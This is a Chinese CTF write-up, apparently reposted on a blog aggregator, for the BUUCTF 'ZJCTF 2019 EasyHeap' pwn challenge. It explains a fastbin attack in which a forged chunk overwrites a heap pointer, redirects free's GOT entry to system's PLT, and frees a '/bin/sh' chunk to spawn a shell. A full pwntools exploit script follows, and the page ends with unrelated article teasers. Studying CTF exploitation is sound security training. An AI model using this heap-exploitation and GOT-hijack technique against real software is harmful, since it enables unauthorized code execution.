BUUCTF[PWN][fastbin attack]

news2024/10/6 6:15:16

fastbin_attack例题


题目:[BUUCTF在线评测 (buuoj.cn)](https://buuoj.cn/challenges#[ZJCTF 2019]EasyHeap)

  • 整体思路:利用编辑时edit_heap函数的栈溢出漏洞,覆盖heaparray中的栈指针指向free的got表,将其改为system的plt表,从而劫持free函数,并且再向heaparray的另外一个指针指向的堆空间上写入字符串 /bin/sh/x00 ,再free掉该堆空间,就能变向执行system(“/bin/sh”)

解题:

  1. 题目中delete_heap函数在释放时将heaparray数组上的指针清0了,所以无法利用UAF:

    image-20240707170514509

  2. 但是在edit_heap函数中存在栈溢出漏洞,可以利用栈溢出覆盖fd伪造heap,再覆盖heaparray劫持free的got表(修改为system的plt表):

    image-20240707170555290

利用:

  1. 在heaparray前面找一个空间来伪造堆(后续要利用它覆盖掉heaparray数组里面的指针),这个伪造的堆上size值要与实际分配的大小(包含chunk头大小)相同(与size相差0x11):

    在0x00000000006020E0-0x33处刚好有一个空间中存储着0x7f,可以将地址0x6020ad作为伪造堆,那么0x7f就是size字段的值了,只要我们申请的空间为 0x7f-0x11=0x68 就能在释放后再次申请到该空间作为堆。

    先申请三个堆,大小为0x68(实际分配的大小为0x7f),再释放掉heap2,利用heap2进行fastbin attack,实行任意地址申请堆(刚才找到的伪造堆)

    add(0x68,b'6')#0 用于写free的got为system
    add(0x68,b'6')#1 用于存放binsh和覆盖2
    add(0x68,b'6')#2 用于构造fastbin attack,写heap0指针为free的got表
    free(2) #释放到fastbin,进行fastbin attack,具体方式是修改fd为heap指针附近的地址
    

    image-20240707172942666

    编辑heap1.覆盖掉heap2的fd指针,并传参**“/bin/sh”** ,b’\x00’*0x60用来填充,p64(0x71)用来绕过size字段,p64(0x6020ad)就是修改的heap2的fd指针:

    edit(1,b'/bin/sh\x00'+b'\x00'*0x60+p64(0x71)+p64(0x6020ad))
    #在heap1写binsh,0x6020ad是刚才定位到的fake heap
    

    image-20240707174020028

    下面将heap2申请回来,再多申请一次就能得到我们前面伪造的堆0x6020ad,利用伪造的堆(heap3)进行堆溢出,覆盖掉heaparray上的heap0指针,指向free的got表:

    add(0x68,b'6')#把2恢复回来
    add(0x68,b'6')#创建fake heap,实际上是heap指针数组前面0x33
    edit(3,b'\x00'*0x23+p64(elf.got['free']))   #覆盖heap0为free的got表0x602018
    

    覆盖前:

    image-20240707174501881

    覆盖后,成功将heaparry[0]覆盖为free的got表:

    image-20240707174347784

    后面直接编辑heap0,就能将free的got表上的值,修改为system的plt。之所以不直接覆盖为system的got表是因为函数调用的过程,如果之前调用过一次,那么后续会直接用got表上的值作为函数的确切地址,rip直接跳转到该处来执行指令,所以要先去到system的plt位置执行指令(第一次调用system函数),直接用got表逻辑上说不通因为got表的位置根本不是指令(会报错):

    image-20240707175346698

    image-20240707174638591

    edit(0,p64(elf.plt['system']))#此时heap0的指针已经被修改指向了free的got表0x602018,
    

    劫持free的got表之前:

    image-20240707175913216

    劫持free的got表之之后:

    image-20240707180152357

    后面只要free掉heap1即可调用system(“/bin/sh”),因为heaparray[1]处的指针指向了 “/bin/sh” 字符串(前面覆盖的):

    free(1)#执行system(原来是free),heap1指向的位置已经被写'/bin/sh'字符串
    

    成功劫持到free函数,来执行 system(“/bin/sh”)

    image-20240707180952320

完整EXP:

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64')

# p = process('./pwn')
p = remote("node5.buuoj.cn",29165)
elf = ELF('./pwn')
# libc = ELF('./libc.so.6')

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])

if args.G:
    gdb.attach(p)

def add(size,content):
    sla(':','1')
    sla(':',str(size))
    sla(':',content)

def edit(idx, content):
    sla(':','2')
    sla(':',str(idx))
    sla(':',str(len(content)))
    sla(':',content)

def free(idx):
    sla(':','3')
    sla(':',str(idx))

add(0x68,b'6')#0 用于写free的got为system
add(0x68,b'6')#1 用于存放binsh和覆盖2
add(0x68,b'6')#2 用于构造fastbin attack,写heap0指针为free的got表
free(2)       #释放到fastbin,进行fastbin attack,具体方式是修改fd为heap指针附近的地址

edit(1,b'/bin/sh\x00'+b'\x00'*0x60+p64(0x71)+p64(0x6020ad))
#在heap1写binsh,0x6020ad是刚才定位到的fake heap

add(0x68,b'6')#把2恢复回来
add(0x68,b'6')#创建fake heap,实际上是heap指针数组前面0x33
edit(3,b'\x00'*0x23+p64(elf.got['free']))   #覆盖heap0为free的got表0x602018
edit(0,p64(elf.plt['system']))#此时heap0的指针已经被修改指向了free的got表0x602018,
# 直接往上面写数据协商system的plt表即可完成劫持,覆盖free的got为system的plt

free(1)#执行system(原来是free),heap1指向的位置已经被写'/bin/sh'字符串
ia()

image-20240707182207960

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1905033.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Bert入门-使用BERT(transformers库)对推特灾难文本二分类

Kaggle入门竞赛-对推特灾难文本二分类 这个是二月份学习的,最近整理资料所以上传到博客备份一下 数据在这里:https://www.kaggle.com/competitions/nlp-getting-started/data github(jupyter notebook):https://gith…

C语言指针函数指针

跟着这篇文章重新理解了一下:彻底攻克C语言指针 有一个例子感觉可以拿出来看看: char *(*c[10])(int **p); * 这段声明定义了一个长度为10的数组c,数组中的每个元素都是指向函数的指针。每个函数接受一个类型为int **(指向指向…

【SpringCloud应用框架】Nacos集群架构说明

第六章 Spring Cloud Alibaba Nacos之集群架构说明 文章目录 前言一、Nacos支持三种部署模式二、集群部署说明三、预备环境 前言 到目前为止,已经完成了对Nacos的一些基本使用和配置,接下来还需要了解一个非常重要的点,就是Nacos的集群相关的…

用PlantUML和语雀画UML类图

概述 首先阐述一下几个简单概念: UML:是统一建模语言(Unified Modeling Language)的缩写,它是一种用于软件工程的标准化建模语言,旨在提供一种通用的方式来可视化软件系统的结构、行为和交互。UML由Grady…

一.7.(2)基本运算电路,包括比例运算电路、加减运算电路、积分运算电路、微分电路等常见电路的分析、计算及应用;(未完待续)

what id the 虚短虚断虚地? 虚短:运放的正相输入端和反相输入端貌似连在一起了,所以两端的电压相等,即UU- 虚断:输入端输入阻抗无穷大 虚地:运放正相输入端接地,导致U=U-=0。 虚…

远心镜头简介

一、远心镜头 大家都有这种印象,一个物体在人眼看来,会有近大远小的现象。这是因为物体近的时候,在视网膜上投影大,小的时候,投影小。镜头也是一样,因为近大远小的原因,会产生误差。特别是在做尺…

通信协议_Modbus协议简介

概念介绍 Modbus协议:一种串行通信协议,是Modicon公司(现在的施耐德电气Schneider Electric)于1979年为使用可编程逻辑控制器(PLC)通信而发表。Modbus已经成为工业领域通信协议的业界标准(De f…

Java里的Arrary详解

DK 中提供了一个专门用于操作数组的工具类,即Arrays 类,位于java.util 包中。该类提供了一些列方法来操作数组,如排序、复制、比较、填充等,用户直接调用这些方法即可不需要自己编码实现,降低了开发难度。 java.util.…

DC-DC充放电原理

文章目录 前言1. 电子器件1.1 电容1.2 电感 2. 升压电路3. 降压电路4. 电压均衡电路4.1 被动均衡4.2 主动均衡 5. 我的疑问5.1 对于升压电路,怎么设计升压到多少V后,停止升压?5.2 什么是等效电阻?5.3 快充是如何实现的&#xff1f…

探索InitializingBean:Spring框架中的隐藏宝藏

​🌈 个人主页:danci_ 🔥 系列专栏:《设计模式》《MYSQL》 💪🏻 制定明确可量化的目标,坚持默默的做事。 ✨欢迎加入探索MYSQL索引数据结构之旅✨ 👋 Spring框架的浩瀚海洋中&#x…

ISP和IAP原理解释

ISP和IAP ISP ISP的全称是:In System Programming,即在系统编程,该操作是通过MCU厂商出厂BootLoader来实现,通过ISP可以对主flash区域进行擦除、编程操作,还可以修改芯片的选项字节等。例如,GD32F30x用户…

Failed to get D-Bus connection: Operation not permitted

最近使用wsl安装了centOS7镜像,在系统中安装了docker服务,但是在执行systemctl start docker的时候遇到了:Failed to get D-Bus connection: Operation not permitted问题,查阅了很多资料都没有效果,最终找到了一种解决…

RabbitMQ(集群相关部署)

RabbitMQ 集群部署 环境准备:阿里云centos8 服务器,3台服务器,分别进行安装; 下载Erlang Erlang和RabbitMQ版本对照:https://www.rabbitmq.com/which-erlang.html 创建yum库配置文件 vim /etc/yum.repos.d/rabbi…

【web前端HTML+CSS+JS】--- CSS学习笔记02

一、CSS(层叠样式表)介绍 1.优势 2.定义解释 如果有多个选择器共同作用的话,只有优先级最高那层样式决定最终的效果 二、无语义化标签 div和span:只起到描述的作用,不带任何样式 三、标签选择器 1.标签/元素选择器…

分布式技术栈、微服务架构 区分

1.分布式技术栈 这些技术栈都是为了更好的开发分布式架构的项目。 (大营销平台的系统框架如下图,扩展的分布式技术栈) (1)Dubbo——分布式技术栈 DubboNacos注册中心是应用可以分布式部署,并且提供RPC接…

mmfewshot 框架概述、环境搭建与测试(一)

一、mmfewshot 框架概述 少样本学习的基本流程: 我们将为所有小样本学习任务引入一个简单的基线,以进一步说明小样本学习的工作原理。最明显的流程是微调。它通常包括两个步骤:在大规模数据集上训练模型,然后在小样本数据上进行微…

游戏AI的创造思路-技术基础-遗传算法

遗传算法,选对了遗传算子,那就是优秀的继承者,选错了,那就是传说在祸害遗千年~~~~~ 目录 1. 定义 2. 发展历史 3. 遗传算法的基本原理和流程 3.1. 基本原理 3.1.1.基本原理 3.1.2. 算法流程 3.1.3. 关键要素 3.2. 函数和方…

栈和队列---循环队列

1.循环队列的出现 (1)上面的这个就是一个普通的数据的入队和出队的过程我们正常情况下去实现这个入队和出队的过程,就是这个数据从这个队尾进入,从队头离开,但是这个加入的时候肯定是没有其他的问题的,直接…

Java多线程不会?一文解决——

方法一 新建类如MyThread继承Thread类重写run()方法再通过new MyThread类来新建线程通过start方法启动新线程 案例&#xff1a; class MyThread extends Thread {public MyThread(String name) {super(name);}Overridepublic void run() {for(int i0;i<10;i){System.out.…

java项目总结8

1.方法引用 1.方法引用概述 注意注意&#xff1a; 1.引用出必须是函数式接口 2.被引用的方法必须已经存在 3.被引用方法的型参和返回值需要跟抽象方法保持一致 4.被引方法的功能要满足当前需求 Arrays.sort(arr,Main::subtraction); Main是该类的名称&#xff0c;&#xff1a…